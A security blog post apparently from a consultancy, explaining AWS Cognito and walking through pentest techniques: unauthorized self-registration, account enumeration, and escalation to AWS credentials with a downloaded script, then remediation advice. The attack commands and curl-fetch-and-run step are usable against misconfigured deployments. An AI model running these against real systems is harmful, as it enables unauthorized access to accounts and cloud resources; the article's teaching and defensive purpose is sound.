AWS-cognito

24 July 2023

So, you are pentesting a website, and you saw that the application was making API calls on AWS Cognito. But you don’t know what is this service nor how to abuse it? Let’s see what we can do!

What is AWS Cognito?

what-is-aws-cognito

AWS Cognito is a service that manages the authentication on your application, so you don’t have to. It comprises two services, the user pool, and the identity pool.

The user pool

First, the user pool on AWS Cognito allows you to create users that will authenticate to your application. You can create users on the AWS Console, but you can also let your users create an account on your application.

The developer first configures the user pool with requirements and features that will fit with its application: does the application needs 2FA to register? If I enter a phone number to register, does the application needs to send a confirmation code?

The developer then uses the AWS Cognito SDK to connect the application and AWS Cognito.

The schema will clarify your mind.

user_pool

As you can see, the front end communicates with the user pool to get a JWT. This JWT is then used to access backend-restricted resources.

This JWT is signed using the RS256 algorithm. This algorithm is composed of a private key used to sign the payload and a public key used to check the validity of the payload.

The public key is available on https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json.

Therefore, the backend can check the token validity by retrieving the public key on AWS Cognito, and then validate the JWT signature using this public key.

The identity pool

On the other hand, the identity pool is used to authorize an external identity to access AWS Resources. The external identity can either be identified with standard providers, like Google Account or Facebook Account, but also AWS Cognito User pools. The identity pool is linked to two IAM roles to handle authenticated and unauthenticated accounts.

A common example would be to let application users upload a picture to an S3 bucket.

identity_pool

Now that we’ve seen the service’s internals let’s see if can pwn it/how to abuse it

How to pentest AWS Cognito?

⚠️ Pentest without permission is illegal! Only use the following techniques in an environment you own or in which you get permission to perform penetration attacks.

Data retrieval

You first need to gather the authentication information on AWS Cognito. This information can be found in the source code. I can’t advise you on getting this information; it will depend on every website.

For this example, I found this information on a JSON file assembled by Webpack after deobfuscation.

These credentials are completely faked and used to understand the following commands.

"cognito_config": {
      "region": "eu-west-3",
      "IdentityPoolId": "eu-west-3:52983214-5fd7-438e-9088-b2e839ceefa0",
      "UserPoolId": "eu-west-3_liyFAGBUV",
      "ClientId": "pucXBthcyRvzwqj0WXG28DQeav"
}


Attack 1: Unwanted account creation

The first attack to attempt is to create an account, whereas you shouldn’t be allowed to. This mechanism is common on small SaaS websites: only the SaaS administrators create accounts. An account creation, where you shouldn’t be allowed to, could be used to bypass authentication.

To get our way, we’ll perform it by querying the AWS Cognito API with the information we gathered.

Instead of doing raw API calls by using curl or Burp, we will use the standard AWS CLI.

$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password 'aR4ndomPassw0rd'
False   157e9620-1c69-4079-9994-8d47d100432a

Troubleshooting

If you get a InvalidParameterException, you need to add user attributes, like an email, or a first name.

$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password 'aR4ndomPassw0rd'
An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: email: The attribute is required

# The email attribute is missing
# Choose a valid email as a verification might be needed
$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --password 'aR4ndomPassw0rd' --user-attributes Name=email,Value=pentest@h4x0r.com
False   157e9620-1c69-4079-9994-8d47d100432a
CODEDELIVERYDETAILS     email   EMAIL   p***@h***
# Yay ! The account is created !

Wow, you got an account! Just before trying to log in, check the email inbox if you haven’t received a verification code from no-reply@verificationemail.com.

mail

If you do, you need to enter an additional command before logging in.

aws cognito-idp confirm-sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username pentest --confirmation-code 044388


Attack 2: Account oracle

You can also check if an account exists, as long as self-registration is enabled on AS Cognito. For example, you can check if the admin user exists with:

$ aws cognito-idp sign-up --client-id pucXBthcyRvzwqj0WXG28DQeav --username admin --password 'aR4ndomPassw0rd'
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists

This is useful for making common account enumeration.

Attack 3: Identity pool escalation

Now that we have a JWT let’s see if we can continue extending our access. Let’s try now to escalate from the user pool to the identity pool. This attack can only be done if you successfully retrieved an Identity Pool Id.

For this attack, we will need this gist script. We can then use this script to get AWS credentials.

⚠️ Please don’t trust me! Read the script before executing it on your machine!

$ curl -o cognito.py https://gist.githubusercontent.com/ThomasLachaux/576b678f7f463dbbb2925b1ddb21541e/raw/9462b0545665fc39aa248fe3b5befdb417ec8a40/cognito-escalation.py
$ python3 cognito.py --region=eu-west-3 --pool_id=eu-west-3_liyFAGBUV --client_id=pucXBthcyRvzwqj0WXG28DQeav --identity_pool_id=eu-west-3:52983214-5fd7-438e-9088-b2e839ceefa0 --username=pentest --password='aR4ndomPassw0rd' | tee credentials.txt

[hacker]
output = json
aws_access_key_id = ROWIKQXNMUAU76LTQJEB
aws_secret_access_key = wympLAO6i9zn9GPo51hGxGRA8rsIWb8l5zzMa2iD
aws_session_token = LEGcBVDyXxpyYaVs3i0XPa2dB+dCcwbc0IAbkdVpMVf1TTBOVDrNW+P/6/PUAAZabR2SwG9r0qdq3Uj09dm4pvWh+B3BMjmkqh+6JHzj9YYxpmLPKYmLpAkHReIcr56rHLvW0mlBs/UbnthV8r1SIHzG1ze1jjCqA/mt84L8aL6KlPYJuakFWBA2f7iKO7UoR3NmHHc23N/7PfQtIexeKyKgDE1tX4OgYal1K4biAKDWeIsQm1NCfWDDB7i87kETCLYPlAuDKljfPxY1LAL0EvM9zX7lKgPUMfbtR80alEj6JhpZW/BBoEylpbfz7i3ZWSpIvqSlctqxAr5tLcYaJVjpPhP7ZhazNXriS7FZ1/Q6Uw+PGnHUxg0bk5SqjxocU/ya42X6krtJUra0R+Z9pe4dT1vKUBRBzrWyK5BdTa7gI7vOsK50jHcDLJ/CxF4JAbJrynPWTkZ/ZmHIZsD8GjEZh7Gf4fIsg3c0J1RcUevGpwFdCzq1L3rmyyD9+Esd+639u3t6lvltUZK0hPfWl7MUz4kbQ4ve1lzD3d7vn4JPydUTI/Ck34HTUSZnj834M95N6ov3jzwJevcvoCZLEaNbfyvq/UKbpBnI2OZ44kNBF5nWqDZV8BVYOxq63p1WnE++JmG2UC5Y/QZM2OqteIyFFgJ4OvaXtmY5jw6ypj8EhCZUiExl9RiDoS8X4tTlXbx4hGhpWvggKZBN+hfmZTn0FhzTjx1QWGPzVXy66D7ZvJ7O9loW9bS3ydiOfRsUg5etY/P4Ci2QomEvw/+QD4N9sFK1oHQogxq0M3lit0uUj74+Z9GnyHEcrBTKQrUo73dk5PpsENhru1bFZRromMMcB0UlmwpHcSyCq6xpf6jnYWyzfSQ/m/ZAe9UVHftOsZfblNJgftxcw4GSVX/lqpkhWi3eFpma2SvrYMckDbTWVaGmO9z+INGHqMpu7VIhNkzMNQESS

Yay ! We have credentials! You can then execute:

$ mkdir -p ~/.aws
$ cp credentials.txt ~/.aws/config
$ aws --profile hacker sts get-caller-identity

{
    "UserId": "ROWIKQXNMUAU76LTQJEB:CognitoIdentityCredentials",
    "Account": "682987823363",
    "Arn": "arn:aws:sts::682987823363:assumed-role/Cognito/CognitoIdentityCredentials"
}

And we have access to AWS! But we still don’t know what can it can be used for. The next step is to enumerate those access and check what you can then exploit.

This part is not documented in this article, but I strongly encourage you to use the tool enumerate-iam to continue the exploitation.

If you are an SRE, you must be dreadfully anxious by wondering if your fresh infrastructure is riddled with all these vulnerabilities. So let’s see how we can ensure nobody except you can access AWS!

Attack on Cognito Script

Padok Security created a simple script to help you execute these attacks. They are implemented in a CLI tool named cognito-scanner and is very easy to use. It is available on Padok's github. You don’t need any requirements except Python and the data needed for the pentest.

While the script exposes potential weaknesses, it also serves as a valuable tool for security professionals and developers to assess the effectiveness of their security controls and validate the measures they've implemented to secure their Cognito user pools. As responsible practitioners, it is essential to learn from these experiments and promptly apply the necessary safeguards to protect our applications and users from real-world threats.

How can you avoid being pwned on AWS Cognito?

  • Make sure that registration is disabled if you don’t want
  • Check that the IAM role associated with the identity pool does not have too many rights
  • Double-check unauthenticated identity pools


Resolution 1: Check self-service sign-up

If you want only to have control over the users, you must double-check that Self-service sign-up is entirely disabled to avoid being pwned by the first attack mentioned before.

Having the self-service sign-up deactivated will also prevent the attackers from having an oracle account. The AWS Cognito service will reply with the same error if the account exists or not in this case.

self_service_sign_up

Resolution 2: Double-check the IAM role attached to an identity pool

Double-check the authenticated and unauthenticated roles attached to Cognito. For example, with my credentials, I had full access to all S3 buckets.

cognito_auth_role

So double / triple-check the IAM. And if you need clarification on what you are doing, we, at Padok, can audit your infrastructure to make it more secure.

Conclusion

In a nutshell, you can feel well protected behind AWS Cognito because it is a big tech company that manages your authentication and authorization. However, even AWS cannot protect you from your misconfigurations.

Now that the attacker has managed to escalate to AWS credentials, the next step is to see what he can do. The CLI enumerate-iam will be useful for this purpose.